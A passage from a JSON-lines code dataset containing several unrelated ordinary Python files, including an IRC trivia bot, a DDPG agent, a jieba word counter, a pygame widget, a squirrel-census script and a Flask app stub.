'\n 'https://github.com/rawsonj/triviabot')\n\n def select_command(self, command, args, user, channel):\n '''\n Callback that responds to commands given to the bot.\n\n Need to differentiate between priviledged users and regular\n users.\n '''\n # set up command dicts.\n unpriviledged_commands = {'score': self._score,\n 'help': self._help,\n 'start': self._start,\n 'stop': self._stop,\n 'source': self._show_source,\n 'standings': self._standings,\n 'question': self._show_question,\n 'clue': self._give_clue,\n 'next': self._next_vote,\n }\n priviledged_commands = {'skip': self._next_question,\n 'restart': self._restart,\n 'die': self._die,\n 'set': self._set_user_score,\n 'save': self._save_game,\n }\n print(command, args, user, channel)\n try:\n self._admins.index(user)\n is_admin = True\n except:\n is_admin = False\n command = command.lower()\n # the following takes care of sorting out functions and\n # priviledges.\n if not is_admin and command in priviledged_commands.keys():\n self.msg(channel, \"%s: You don't tell me what to do.\" % user)\n self._userlist[user]['strikes'] += 1\n if (self._userlist[user]['strikes'] == 5):\n self.kick(channel, user, \"You've earned five strikes, be gone!\")\n elif ('halfop' in self._userlist[user]['modes']):\n self.mode(channel, False, 'h', user=user)\n self._userlist[user]['modes'].remove('halfop')\n elif ('voice' in self._userlist[user]['modes']):\n self.mode(channel, False, 'v', user=user)\n self._userlist[user]['modes'].remove('voice')\n return\n elif is_admin and command in priviledged_commands.keys():\n priviledged_commands[command](args, user, channel)\n elif command in unpriviledged_commands.keys():\n unpriviledged_commands[command](args, user, channel)\n else:\n self.describe(channel, 'looks at %s oddly.' % user)\n\n def _next_vote(self, args, user, channel):\n '''Implements user voting for the next question.\n\n Need to keep track of who voted, and how many votes.\n\n '''\n if not self._lc.running:\n self._gmsg(\"We aren't playing right now.\")\n return\n try:\n self._voters.index(user)\n self._gmsg(\"You already voted, %s, give someone else a chance to \"\n \"hate this question\" % user)\n return\n except:\n if self._votes < 2:\n self._votes += 1\n self._voters.append(user)\n print(self._voters)\n self._gmsg(\"%s, you have voted. %s more votes needed to \"\n \"skip.\" % (user, str(3-self._votes)))\n else:\n self._votes = 0\n self._voters = []\n self._next_question(None, None, None)\n\n def _start(self, args, user, channel):\n '''\n Starts the trivia game.\n\n TODO: Load scores from last game, if any.\n '''\n if self._lc.running:\n return\n else:\n self._get_new_question()\n self._clue_number = 0\n self._no_plays = 0\n self._lc.start(config.WAIT_INTERVAL)\n self.factory.running = True\n\n def _stop(self, *args):\n '''\n Stops the game and thanks people for playing,\n then saves the scores.\n '''\n if not self._lc.running:\n return\n else:\n self._lc.stop()\n self._gmsg('Thanks for playing trivia!')\n self._gmsg('Current rankings are:')\n self._standings(None, None, self._game_channel)\n self._gmsg('Scores have been saved, and see you next game!')\n self._save_game()\n self.factory.running = False\n\n def _save_game(self, *args):\n '''\n Saves the game to the data directory.\n '''\n if not path.exists(config.SAVE_DIR):\n makedirs(config.SAVE_DIR)\n with open(config.SAVE_DIR+'scores.json', 'w') as savefile:\n json.dump(self._scores, savefile)\n print(\"Scores have been saved.\")\n\n def _load_game(self):\n '''\n Loads the running data from previous games.\n '''\n # ensure initialization\n self._scores = {}\n if not path.exists(config.SAVE_DIR):\n print(\"Save directory doesn't exist.\")\n return\n try:\n with open(config.SAVE_DIR+'scores.json', 'r') as savefile:\n temp_dict = json.load(savefile)\n except:\n print(\"Save file doesn't exist.\")\n return\n for name in temp_dict.keys():\n self._scores[str(name)] = int(temp_dict[name])\n print(self._scores)\n print(\"Scores loaded.\")\n\n def _set_user_score(self, args, user, channel):\n '''\n Administrative action taken to adjust scores, if needed.\n '''\n try:\n self._scores[args[0]] = int(args[1])\n except:\n self.notice(user, args[0]+\" not in scores database.\")\n return\n self.notice(user, args[0]+\" score set to \"+args[1])\n\n def _restart(self, *args):\n '''\n Restart the bot.\n '''\n self._restarting = True\n self.quit('Restarting eh')\n\n def _die(self, *args):\n '''\n Terminates execution of the bot.\n '''\n self._quit = True\n self.quit(config.DEFAULT_QUIT)\n\n def connectionLost(self, reason):\n '''\n Called when connection is lost\n '''\n global reactor\n if self._restarting:\n execl(sys.executable, *([sys.executable]+sys.argv))\n elif self._quit:\n reactor.stop()\n\n def _score(self, args, user, channel):\n '''\n Tells the user their score.\n '''\n try:\n self.notice(user, \"Your current score is: %s\" %\n str(self._scores[user]))\n except:\n self.notice(user, \"You aren't in my database.\")\n\n def _next_question(self, args, user, channel):\n '''\n Administratively skips the current question.\n '''\n if not self._lc.running:\n self._gmsg(\"We are not playing right now.\")\n return\n self._gmsg(\"Question has been skipped. The answer was: %s\" %\n self._answer.answer)\n self._clue_number = 0\n self._lc.stop()\n self._lc.start(config.WAIT_INTERVAL)\n\n def _standings(self, args, user, channel):\n '''\n Tells the user the complete standings in the game.\n '''\n if channel == self.nickname:\n dst = user\n else:\n if channel != self._game_channel: return\n dst = channel\n score_list = []\n if not user is None:\n self.notice(dst, \"The current trivia standings are: \")\n sorted_scores = sorted(self._scores.iteritems(), key=lambda x:x[1], reverse=True)\n for rank, (player, score) in enumerate(sorted_scores, start=1):\n formatted_score = \"#%s: %s with %s points\" % (rank, player, score)\n score_list.append(formatted_score)\n # Will have to split this at a certain length later\n self.notice(dst, \", \".join([str(player) for player in score_list]))\n\n def _show_question(self, args, user, channel):\n if not self._lc.running:\n self._gmsg(\"We are not playing right now.\")\n return\n self._gmsg(\"Current question: %s\" % self._question)\n\n def _give_clue(self, args, user, channel):\n if not self._lc.running:\n self._gmsg(\"We are not playing right now.\")\n return\n # Just stop and start gameplay timer. It will give a new clue\n # and wait another 'WAIT_INTERVAL' until the next clue\n self._lc.stop()\n self._lc.start(config.WAIT_INTERVAL)\n\n def _get_new_question(self):\n '''\n Selects a new question from the questions directory and\n sets it.\n '''\n damaged_question = True\n while damaged_question:\n # randomly select file\n filename = choice(listdir(self._questions_dir))\n fd = open(config.Q_DIR+filename)\n lines = fd.read().splitlines()\n myline = choice(lines)\n fd.close()\n try:\n self._question, temp_answer = myline.split('`')\n except ValueError:\n print(\"Broken question:\")\n print(myline)\n continue\n self._answer.set_answer(temp_answer.strip())\n damaged_question = False\n\n\nclass ircbotFactory(ClientFactory):\n protocol = triviabot\n\n def __init__(self, nickname=config.DEFAULT_NICK, realname=config.DEFAULT_NAME):\n self.nickname = nickname\n self.realname = realname\n self.running = False\n self.lineRate = config.LINE_RATE\n\n def clientConnectionLost(self, connector, reason):\n print(\"Lost connection (%s)\" % (reason,))\n connector.connect()\n\n def clientConnectionFailed(self, connector, reason):\n print(\"Could not connect: %s\" % (reason,))\n connector.connect()\n\n\nif __name__ == \"__main__\":\n try:\n config.BIND_PORT\n except:\n config.BIND_PORT = randint(40000,43000)\n try:\n config.BIND_ADDR\n except:\n config.BIND_ADDR = '0.0.0.0'\n try:\n config.SERVER_TYPE\n except:\n config.SERVER_TYPE = 'plain'\n\n BIND = (config.BIND_ADDR, config.BIND_PORT)\n\n if config.SERVER_TYPE == 'ssl':\n reactor.connectSSL(config.SERVER, config.SERVER_PORT,\n ircbotFactory(), ssl.ClientContextFactory(),\n config.TIMEOUT, BIND)\n elif config.SERVER_TYPE == 'plain':\n reactor.connectTCP(config.SERVER, config.SERVER_PORT,\n ircbotFactory(), config.TIMEOUT, BIND)\n else:\n print('Invalid server_type specified in config.')\n print(\"Either enter 'ssl', 'plain', or leave commented out.\")\n quit()\n reactor.run()\n","sub_path":"trivia.py","file_name":"trivia.py","file_ext":"py","file_size_in_byte":25726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"519879652","text":"# coding:utf-8\n'''\nCreated on 2016/6/22\n\n@author: Dxq\n'''\nimport time\nimport config\n\n\ndef ftime(timestamp, format='%Y-%m-%d %H:%M', short=False):\n timestamp = float(timestamp)\n if not short:\n return time.strftime(format, time.localtime(timestamp))\n\n diff = (time.time() - timestamp)\n if diff < (60 * 1):\n fdate = '刚刚'\n elif diff < (60 * 60 * 1):\n fdate = str(int(diff / 60)) + '分钟前'\n elif diff < (60 * 60 * 24 * 1):\n fdate = str(int(diff / (60 * 60))) + '小时前'\n elif diff < (60 * 60 * 24 * 7):\n fdate = str(int(diff / (60 * 60 * 24))) + '天前'\n else:\n fdate = time.strftime(format, time.localtime(timestamp))\n return fdate\n\n\ndef upfile(path, fm='', bucket=\"file\"):\n if path.startswith('http://'):\n return path\n path = 'http://' + config.gconf['up_' + bucket + '_bucket'] + '.b0.upaiyun.com' + path + fm\n return path\n\n\ndef mobile(m):\n newMobile = str(m)[0:3] + \"****\" + str(m)[7:11]\n return newMobile\n\n\ndef price_level(l):\n aa = {\n 1: '60 - 80元',\n 2: '80 - 120元',\n 3: '120 - 200元',\n 4: '200 - 360元',\n 5: '360元以上'\n }\n\n return aa[l]\n\n\ndef psw(phone):\n phone = str(phone)\n return phone[:3] + '*****' + phone[-3:]\n\n\nfilters = {\n 'ftime': ftime,\n 'upfile': upfile,\n 'mobile': mobile,\n 'price_level': price_level,\n 'psw': psw,\n}\n","sub_path":"common/myfilter.py","file_name":"myfilter.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514564839","text":"import torch\nfrom torch.optim import Adam\nfrom ACNet import Actor, Critic, init_weights\nfrom ReplayBuffer import ReplayBuffer\nimport torch.nn.functional as F\nfrom OUActionNoise import OUActionNoise\nimport numpy as np\n\n\nclass Agent:\n def __init__(self, rule):\n self.state_dim = rule.state_dim\n self.action_dim = rule.action_dim\n\n self.actor = Actor(rule)\n self.actor.apply(init_weights)\n self.actor_target = Actor(rule)\n \n self.critic = Critic(rule)\n self.critic.apply(init_weights)\n self.critic_target = Critic(rule)\n \n self.actor_target.eval()\n self.critic_target.eval()\n self.update_params(1)\n\n self.actor_optimizer = Adam(self.actor.parameters(), lr = rule.alpha)\n self.critic_optimizer = Adam(self.critic.parameters(), lr = rule.beta)\n\n self.replaybuffer = ReplayBuffer(rule)\n self.path = './model/' + rule.env_name\n self.gamma = rule.gamma\n self.tau = rule.tau\n self.noise = OUActionNoise(mu = np.zeros(rule.action_dim))\n \n if rule.load == True:\n self.load()\n\n\n def get_action(self, state, eval = False):\n state = torch.Tensor(state).cuda().view(1, self.state_dim)\n action = self.actor(state)[0]\n if eval:\n return action.detach().cpu().numpy()\n noise = torch.Tensor(self.noise()).float().cuda()\n return (action + noise).detach().cpu().numpy()\n\n def update_params(self, tau = None):\n if tau == None:\n tau = self.tau\n actor_params = self.actor.named_parameters()\n critic_params = self.critic.named_parameters()\n actor_target_params = self.actor_target.named_parameters()\n critic_target_params = self.critic_target.named_parameters()\n\n critic_state_dict = dict(critic_params)\n actor_state_dict = dict(actor_params)\n critic_target_state_dict = dict(critic_target_params)\n actor_target_state_dict = dict(actor_target_params)\n\n for name in critic_state_dict:\n critic_state_dict[name] = tau * critic_state_dict[name].clone() + \\\n (1-tau) * critic_target_state_dict[name].clone()\n self.critic_target.load_state_dict(critic_state_dict)\n\n for name in actor_state_dict:\n actor_state_dict[name] = tau * actor_state_dict[name].clone() + \\\n (1-tau) * actor_target_state_dict[name].clone()\n self.actor_target.load_state_dict(actor_state_dict)\n\n def learn(self):\n if self.replaybuffer.mem_counter < self.replaybuffer.batch_size:\n return\n S, A, R, S_, D = self.replaybuffer.get_samples()\n S = torch.Tensor(S).cuda()\n A = torch.Tensor(A).cuda()\n R = torch.Tensor(R).cuda()\n S_ = torch.Tensor(S_).cuda()\n D = torch.Tensor(D).cuda().bool()\n\n A_ = self.actor_target(S_)\n values = self.critic(S,A)\n values_ = self.critic_target(S_,A_)\n critic_target = R + self.gamma * values_ * ~D\n \n self.critic_optimizer.zero_grad()\n critic_loss = F.mse_loss(values, critic_target)\n critic_loss.backward()\n self.critic_optimizer.step()\n \n self.actor_optimizer.zero_grad()\n actions = self.actor(S)\n actions_value = self.critic(S, actions)\n actor_loss = (-1 * actions_value).mean()\n actor_loss.backward()\n self.actor_optimizer.step()\n self.update_params()\n\n def save(self):\n torch.save(self.actor.state_dict(), self.path + '_actor.pt')\n torch.save(self.critic.state_dict(), self.path + '_critic.pt')\n torch.save(self.actor_target.state_dict(), self.path + '_actor_target.pt')\n torch.save(self.critic_target.state_dict(), self.path + '_critic_target.pt')\n\n def load(self):\n self.actor.load_state_dict(torch.load(self.path + '_actor.pt'))\n self.critic.load_state_dict(torch.load(self.path + '_critic.pt'))\n self.actor_target.load_state_dict(torch.load(self.path + '_actor_target.pt'))\n self.critic_target.load_state_dict(torch.load(self.path + '_critic_target.pt'))","sub_path":"Python/DDPG/DDPGAgent.py","file_name":"DDPGAgent.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"304001970","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport jieba\nimport asyncio\nimport copy\nimport json\n# import logging\nfrom idataapi_transform import ProcessFactory, GetterConfig, WriterConfig\n\ndef start(results):\n\n text = results.encode()\n # 结巴分词\n wordlist = jieba.cut(text, cut_all=True)\n # print(wordlist)\n wl = \" \".join(wordlist)\n\n\n words = wl.split(' ')\n # print(words)\n\n item_list = {}\n have_list = {}\n for word in words:\n word = word.strip()\n if word == '':\n continue\n if word == ' ':\n continue\n if word == '\\n':\n continue\n if len(word) == 1:\n continue\n if word == '#x20':\n continue\n if word in have_list.keys():\n item_list[word] +=1\n else:\n item_list[word] = 1\n have_list[word] = 1\n\n end_list = []\n for each in item_list:\n end_list.append({'num':item_list[each],'word':each})\n\n # print(item_list)\n sort_list = sorted(end_list, key=lambda x:x['num'],reverse = True)\n # print(sort_list)\n for item in sort_list[:1000]:\n with open('结果.csv','a',encoding='gbk') as f:\n save_res = item['word']+','+ str(item['num'])+'\\n'\n f.write(save_res)\n\nasync def example():\n mongo_config = GetterConfig.RXLSXConfig('facebook_comment.xlsx',max_limit=2)\n # mongo_config = GetterConfig.RCSVConfig('facebook_comment1.csv',max_limit=2)\n mongo_getter = ProcessFactory.create_getter(mongo_config)\n results = ''\n async for items in mongo_getter:\n for item in items:\n if item['content']:\n results+=item['content']\n\n start(results)\nif __name__ == \"__main__\":\n loop = asyncio.get_event_loop()\n loop.run_until_complete(example())\n","sub_path":"xiecheng/xiechengComment/analysis2.py","file_name":"analysis2.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"345767969","text":"#\n# Enric Geijo - Cozy a component based simple gui for pygame\n# Copyright (C) 2009 Enric Geijo\n#\n\n# based on the simple pygame gui with MIT License\t\n# Copyright (c) 2008 Canio Massimo \"Keebus\" Tristano\n\n# This file may be distributed and/or modified under the terms of\n# the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n# This file is distributed without any warranty; without even the implied\n# warranty of merchantability or fitness for a particular purpose.\n# See \"LICENSE.GPL\" in the source distribution for more information.\n\n\"\"\"\nLabel Widget\n\"\"\"\n\nimport pygame\nfrom pygame import display\nfrom pygame import font\nfrom pygame import draw\nfrom pygame import Rect\nfrom pygame import mouse\n\nfrom zope import component,interface\nfrom gui import interfaces\nfrom CWidget import *\nfrom utils import *\n\nclass CLabel(CWidget):\n \n interface.implements(interfaces.ILabel)\n attributes = {'text' : 'str'} \n attributes.update(CWidget.attributes)\n \n styleattributes = { 'font' : 'font',\n 'font-color' : '3-tuple',\n 'font-size' : 'int',\n 'autosize' : 'bool',\n 'antialias' : 'bool',\n 'wordwrap' : 'bool',\n 'border-width' : 'int',\n 'border-color' : '3-tuple'} \n \n REFRESH_ON_MOUSE_OVER = False\n REFRESH_ON_MOUSE_DOWN = False\n REFRESH_ON_MOUSE_CLICK = False\n REFRESH_ON_MOUSE_LEAVE = False\n \n def init(self,parent, **kwargs):\n CWidget.initattrs(self,**kwargs)\n \n try:\n if self.style is None: \n self.style = parent.desktop.style['default']['label']\n else:\n self.style = self.desktop.style[self.style]['label']\n except:\n raise GuiException(\"Unable to load button style\")\n \n self.dynamicAttributes.append(\"text\") \n CWidget.init(self,self.position,self.size,parent,self.style,self.enabled) \n \n def refresh(self):\n self.surf = renderText(self.text, self.style['font'], self.style['antialias'], self.style['font-color'],\n self.size, self.style['autosize'], self.style['wordwrap'])\n \n if self.style['autosize']:\n self.size = self.surf.get_size()\n \n def draw(self, surf):\n if self.visible:\n surf.blit(self.surf, self.position, Rect((0,0), self.size))\n if self.style['border-width']:\n draw.rect(surf, self.style['border-color'], self.rect, self.style['border-width'])\n\n\n","sub_path":"gui/CLabel.py","file_name":"CLabel.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300127747","text":"\"\"\"\ntest a language model's performance\n\"\"\"\n\nimport sys\nimport os\nimport argparse\nimport train_language_model as tlm\nimport pickle\nimport random\nimport numpy as np\nimport csv\n\nfrom keras.utils import to_categorical\nfrom keras.models import model_from_json\nfrom keras import optimizers\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM, GRU, SimpleRNN\n\ndef parse_args():\n \"\"\"\n create and return an argument parser\n \"\"\"\n\n parser = argparse.ArgumentParser(\"test a language model's performance\")\n \n parser.add_argument(\"model_type\",\n help=\"type of language model to load\",\n type=str,\n choices=[\"RNN\", \"GRU\", \"LSTM\"])\n\n parser.add_argument(\"model_dir\",\n help=\"the directory of models to test\",\n type=str)\n\n parser.add_argument(\"sequence_dir\",\n help=\"the directory of sequences\",\n type=str)\n\n parser.add_argument(\"outfile\",\n help=\"the file to write test results\",\n type=str)\n \n parser.add_argument(\"sequence_length\",\n help=\"length of sequence\",\n type=int)\n\n return parser\n\n\ndef load_model(model_json,weights_filename):\n \"\"\"\n Load up the model\n \"\"\"\n\n if not os.path.exists(model_json):\n sys.exit(\"[!!]--[load_model] %s not found\" % model_json)\n\n elif not os.path.exists(weights_filename):\n sys.exit(\"[!!]--[load_model] %s not found\" % weights_filename)\n\n json_file = open(model_json,\"r\")\n loaded_json = json_file.read()\n\n json_file.close()\n\n loaded_model = model_from_json(loaded_json)\n loaded_model.load_weights(weights_filename)\n\n return loaded_model\n\n\ndef make_language_model(model_type, ncells, input_shape, vocab_sz):\n\n \"\"\"\n make a language model with ncells neurons\n\n args:\n model_type : str - type of language model to build --\n - RNN\n - GRU\n - LSTM\n\n ncells : int - number of neurons\n input_shape : tuple - shape of the input\n vocab_sz : size of the vocabulary\n returns:\n model - the network\n \"\"\"\n \n #print(\"[*] initializing %s\" % model_type)\n\n model = Sequential()\n\n if model_type == \"LSTM\":\n model.add(LSTM(ncells, input_shape=input_shape))\n \n elif model_type == \"GRU\":\n model.add(GRU(ncells, input_shape=input_shape))\n \n else:\n model.add(SimpleRNN(ncells, input_shape=input_shape))\n\n model.add(Dense(vocab_sz, activation='softmax'))\n\n #print(model.summary())\n #print(\"[*] compiling model\")\n\n opt = optimizers.Adam(lr=1e-4, decay=1e-6)\n\n return model\n\ndef sort_model_files(model_files, model_type):\n \"\"\"\n sort model_files in ascending order by the \n epoch they come from\n\n args:\n model_files : list - the model files (.hdf5 or .h5)\n\n returns:\n the sorted list of models\n \"\"\"\n\n mfiles = dict()\n \n n = len(model_type)\n for m in model_files:\n if m.endswith(\".h5\"):\n spl = m.split(\"/\")\n mfiles[spl[-1][n:-3]] = m\n\n else:\n spl = m.split(\"-\")\n mfiles[spl[1]] = m\n \n keys = sorted([k for k in mfiles.keys()])\n\n return [mfiles[k] for k in keys]\n\n\nif __name__ == \"__main__\":\n\n args = parse_args().parse_args()\n \n model_type = args.model_type\n model_dir = args.model_dir\n sequence_dir = args.sequence_dir\n outfile = args.outfile\n seq_len = args.sequence_length\n\n\n assert os.path.isdir(model_dir), \"%s not found\" % model_dir\n assert os.path.isdir(sequence_dir), \"%s not found\" % sequence_dir\n\n model_files = [os.path.join(model_dir, f) for f in os.listdir(model_dir)]\n \n vencoded = None\n with open(\"vencoded.pickle\",\"rb\") as venc:\n vencoded = pickle.load(venc)\n \n back_map = {vencoded[k]:k for k in vencoded} \n vocab_sz = len(vencoded)\n \n trainfile, trainfile_len = \"\", 0\n with open(os.path.join(sequence_dir,\"about.txt\"), \"r\") as about: \n \n lines = about.readlines()\n for line in lines:\n line = line.strip()\n line = line.split()\n \n set_type, fname, flen = line\n \n if set_type == \"train\":\n trainfile = fname\n train_len = int(flen)\n\n\n opt = optimizers.SGD(lr=0.01,decay=1e-6,momentum=0.9,nesterov=True)\n #modl.compile(optimizer=opt, loss='categorical_crossentropy',metrics=['accuracy'])\n \n model_files = [m for m in model_files if m.endswith(\".hdf5\") or m.endswith(\".h5\")]\n model_files = sort_model_files(model_files, model_type)\n \n sequence_num = random.randint(0, trainfile_len)\n seed_sequence = None\n sequence = None\n decoded_sequence = None\n encoded_sequence = None \n \n # get the seed sequence\n with open(trainfile, \"r\") as tfile:\n\n # get the seed sequence\n lines = tfile.readlines()\n sequence = lines[sequence_num].strip().split(\",\") \n\n # to integers\n encoded_sequence = np.array(list(map(int, sequence[:-1])))\n \n decoded_sequence = [back_map[s] for s in encoded_sequence]\n seed_sequence = np.array([to_categorical(encoded_sequence, num_classes=vocab_sz)])\n \n decode = \"\".join(decoded_sequence)\n \n with open(outfile, \"w\") as csvout:\n writer = csv.writer(csvout)\n writer.writerow([\"MODEL\", \"OUTPUT\"])\n\n # models are sorted now\n for mfile in model_files:\n \n if mfile.endswith(\".h5\"):\n wts = mfile\n json = mfile[:-3] + \".json\"\n model = load_model(json, wts)\n \n else:\n model = make_language_model(model_type, tlm.N_NEURONS, (seq_len, vocab_sz), vocab_sz)\n\n model.compile(optimizer=opt, loss='categorical_crossentropy',\n metrics=['accuracy'])\n \n\n preds = []\n\n sys.stdout.write(\"\\r[->] %s \" % mfile)\n sys.stdout.flush()\n\n #print(seed_sequence.shape)\n output = decode \n for _ in range(100):\n pred = model.predict(seed_sequence, batch_size=1)[0]\n pred = list(pred) \n mx = max(pred)\n idx = pred.index(mx)\n p = back_map[idx]\n \n #print(decode + p)\n \n # now reforge sequence ahead\n output = output + p\n \n seed_sequence = np.array([list(seed_sequence[0][1:]) + [to_categorical(idx, num_classes=vocab_sz)]]) \n # write prediction to file\n writer.writerow([mfile, output]) \n\n del model\n\n print(\"[** done **]\") \n","sub_path":"mats/scripts/test_language_model.py","file_name":"test_language_model.py","file_ext":"py","file_size_in_byte":6953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426845225","text":"import numpy as np\nimport random\nimport copy\n\nclass OUnoise(object):\n def __init__(self, dim, seed, mu=0., theta=0.15, sigma=0.2):\n self.mu = mu * np.ones(dim)\n self.seed = random.seed(seed)\n self.theta = theta\n self.sigma = sigma\n self.reset()\n\n def reset(self):\n self.states = copy.copy(self.mu)\n\n def noise(self):\n x = self.states\n dx = self.theta * (self.mu - x) + self.sigma * np.array([random.random() for i in range(len(x))])\n self.states = x + dx\n return self.states\n","sub_path":"Utilities/action_strategies/OUnoise.py","file_name":"OUnoise.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274600818","text":"import cv2\n\n# Loading cascade classifier for face detection\ncascadePath = \"./opencv/data/haarcascades/haarcascade_frontalface_default.xml\"\nfaceCascade = cv2.CascadeClassifier(cascadePath)\n\n# Initializing Camera\ncamera = cv2.VideoCapture(0)\n\nwhile True:\n # ret (True/False responsible for detecting whether there is an image)\n # frame (Our RGB image matrix from video stream)\n ret, frame = camera.read()\n # Converts our frame to grayscale\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Detects objects of different sizes in the input image.\n # The detected objects are returned as a list of rectangles.\n faces = faceCascade.detectMultiScale(gray)\n\n biggestIndex = 0\n faceArea = 0\n\n for i in range(len(faces)):\n\n newFaceArea = faces[i][2] * faces[i][3]\n\n if newFaceArea > faceArea:\n faceArea = newFaceArea\n biggestIndex = i\n\n x, y, w, h = faces[i]\n\n cropImage = frame[y-25:y+h+25, x-25:x+w+25]\n cropImage = cv2.resize(cropImage, (200, 200))\n\n print(frame)\n break\n","sub_path":"src/DatasetGenerator.py","file_name":"DatasetGenerator.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300421265","text":"import argparse\n\nimport tensorflow as tf\n\nfrom elasticdl.python.tests.test_utils import save_checkpoint_without_embedding\n\n\ndef mnist_custom_model():\n inputs = tf.keras.Input(shape=(28, 28), name=\"image\")\n x = tf.keras.layers.Reshape((28, 28, 1))(inputs)\n x = tf.keras.layers.Conv2D(32, kernel_size=(3, 3), activation=\"relu\")(x)\n x = tf.keras.layers.Conv2D(64, kernel_size=(3, 3), activation=\"relu\")(x)\n x = tf.keras.layers.BatchNormalization()(x)\n x = tf.keras.layers.MaxPooling2D(pool_size=(2, 2))(x)\n x = tf.keras.layers.Dropout(0.25)(x)\n x = tf.keras.layers.Flatten()(x)\n outputs = tf.keras.layers.Dense(10)(x)\n\n return tf.keras.Model(inputs=inputs, outputs=outputs, name=\"mnist_model\")\n\n\ndef add_params(parser):\n parser.add_argument(\n \"--checkpoint_dir\",\n help=\"The directory to store the mnist checkpoint\",\n default=\"\",\n type=str,\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n add_params(parser)\n args, _ = parser.parse_known_args()\n print(args)\n model = mnist_custom_model()\n save_checkpoint_without_embedding(model, args.checkpoint_dir)\n","sub_path":"scripts/gen_mnist_checkpoint.py","file_name":"gen_mnist_checkpoint.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566052000","text":"\n\nfrom xai.brain.wordbase.nouns._facsimile import _FACSIMILE\n\n#calss header\nclass _FACSIMILED(_FACSIMILE, ):\n\tdef __init__(self,): \n\t\t_FACSIMILE.__init__(self)\n\t\tself.name = \"FACSIMILED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"facsimile\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_facsimiled.py","file_name":"_facsimiled.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"462983109","text":"\n\n# https://data.cityofnewyork.us/Environment/2018-Central-Park-Squirrel-Census-Squirrel-Data/vfnx-vebw\n\n# Fur Color and Count Dataframe\nimport pandas\ndata = pandas.read_csv(\"2018_Central_Park_Squirrel_Census_-_Squirrel_Data.csv\")\n\nblack_squirrels = data[data[\"Primary Fur Color\"] == \"Black\"]\ncinnamon_squirrels = data[data[\"Primary Fur Color\"] == \"Cinnamon\"]\ngray_squirrels = data[data[\"Primary Fur Color\"] == \"Gray\"]\n\nblack_squirrels_count = len(black_squirrels)\ncinnamon_squirrels_count = len(cinnamon_squirrels)\ngray_squirrels_count = len(gray_squirrels)\n\n# print(f\"Black: {black_squirrels_count}\")\n# print(f\"Cinnamon: {cinnamon_squirrels_count}\")\n# print(f\"Gray: {gray_squirrels_count}\")\n\ndata_dict = {\n \"Fur Color\":[\"Black\", \"Cinnamon\", \"Gray\"],\n \"Count\":[black_squirrels_count, cinnamon_squirrels_count, gray_squirrels_count],\n}\nnew_data = pandas.DataFrame(data_dict)\nnew_data.to_csv(\"fur_color_data.csv\")","sub_path":"25-Csv_files_and_Panda/Great_Squirrel_Census/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568238199","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def rotateRight(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n if not head:\n return head\n elif not head.next:\n return head\n else:\n pointer = head\n length = 1\n while pointer.next:\n pointer = pointer.next\n length += 1\n dummy = ListNode(0)\n dummy.next = head\n slow = dummy\n fast = dummy\n for _ in range(k%length):\n if fast.next:\n fast = fast.next\n else:\n fast = dummy\n while(fast.next!=None):\n fast = fast.next\n slow = slow.next\n fast.next = head\n dummy.next = slow.next\n slow.next = None\n return dummy.next\n \n \n","sub_path":"61 Rotate List.py","file_name":"61 Rotate List.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"516428511","text":"import os\n\nfrom datetime import datetime, timedelta\nfrom flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import func, and_ \n\nfrom models import ChideoEmployee, HostEngagement\n\napp = Flask(__name__)\napp.config.from_object(os.getenv(\"APP_CONFIG\"))\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False \ndb = SQLAlchemy(app)\n\n\ndef most_recent_mlm_week():\n '''Contingent on this table being kept up to date. A missing week would \n mess this up.\n\n Alternatively, hosting date could be passed from front end'''\n host_date = db.session.query(func.max(HostEngagement.week_of_hosting))\n return host_date.first()[0]\n\n\ndef serialize_hosts(query_all_result):\n parsed_hosts = []\n for host_info in query_all_result:\n parsed_hosts.append({\"id\": host_info[0], \"name\": host_info[1]})\n return parsed_hosts\n\n\n@app.route(\"/status\")\ndef status():\n return '''

\n NOW WITNESS THE POWER OF THIS FULLY OPERATIONAL BATTLE STATION\n

